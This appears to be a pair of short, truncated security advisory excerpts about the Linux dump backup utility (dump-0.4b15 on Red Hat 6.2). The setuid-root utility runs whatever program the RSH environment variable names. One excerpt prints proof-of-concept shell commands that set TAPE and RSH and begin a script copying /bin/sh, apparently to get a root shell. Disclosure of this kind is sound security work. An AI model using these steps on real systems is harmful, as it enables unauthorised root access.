Linux dump uses environment variables insecurely, allowing for root compromise

Overview Some implementations of the Linux backup utility, dump, call external programs on remote machines via the RSH environment variable. This may permit an attacker to compromise root if dump is setuid root. Description Some implementations of the Linux backup utility, dump, permit use of...

Redhat 6.2 dump command executes external program with suid priviledge.

Problem: Linux dump command executes external program with suid priviledge. 2. Tested Version dump-0.4b15 3. Example mat@localhost mat$ export TAPE=garbage:garbage mat@localhost mat$ export RSH=/home/mat/executethis mat@localhost mat$ cat /home/mat/executethis !/bin/sh cp /bin/sh /home/mat/sh...